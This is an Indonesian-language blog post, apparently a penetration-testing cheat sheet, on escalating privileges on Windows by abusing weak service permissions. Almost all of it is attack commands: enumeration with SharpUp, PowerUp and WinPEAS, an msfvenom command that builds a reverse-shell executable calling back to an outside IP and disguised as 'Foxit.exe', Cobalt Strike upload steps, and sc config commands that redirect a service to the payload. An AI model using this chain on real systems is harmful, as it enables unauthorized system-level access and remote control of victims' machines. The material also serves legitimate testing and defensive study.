Post

[Misconfig] Weak Service Permissions

Weak Service Permissions mengacu pada kelemahan atau kerentanan dalam konfigurasi izin (permissions) yang diberikan pada Windows service.

Permission yang tidak tepat dapat menyebabkan service dapat dimanipulasi oleh pengguna yang tidak seharusnya memiliki akses ke layanan tersebut.

Dalam konteks privilege escalation, ini dapat menjadi celah yang dimanfaatkan oleh penyerang untuk mendapatkan hak istimewa yang lebih tinggi.

0x1 - Exploitation Stages

Step 1: Check the Service Permission

Tools:

1
2
3
4
5
6
7
8
9
10
11
12
13
# SharpUp
PS > .\SharpUp.exe audit ModifiableServices

# Get-ServiceAcl.ps1
PS > . .\Get-ServiceAcl.ps1
PS > Get-ServiceAcl -Name VulnService2 | select -expand Access

# PowerUp.ps1
PS > . .\PowerUp.ps1
PS > Get-ModifiableServiceFile

# WinPEAS
PS > .\winpeas.exe

Step 2: Create Malware and Upload

1
2
# Contoh buat malware dengan MSF
➜ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.49.73 LPORT=80 -f exe -o Foxit.exe  
1
2
3
4
# Contoh upload file pada Cobalt Strike
beacon> mkdir C:\Temp
beacon> cd C:\Temp
beacon> upload C:\Payloads\tcp-local_x64.svc.exe

Step 3: Change the Service Config

1
2
# Mengubah binary path service
C:\> sc config VulnService2 binPath= C:\Temp\tcp-local_x64.svc.exe

Step 4: Run the Service

1
2
3
C:\> sc qc VulnService2
C:\> sc stop VulnService2 
C:\> sc start VulnService2 

0x2 - References

  • https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/
  • https://pentestlab.blog/2017/03/30/weak-service-permissions/
  • https://www.ired.team/offensive-security/privilege-escalation/weak-service-permissions
This post is licensed under CC BY 4.0 by the author.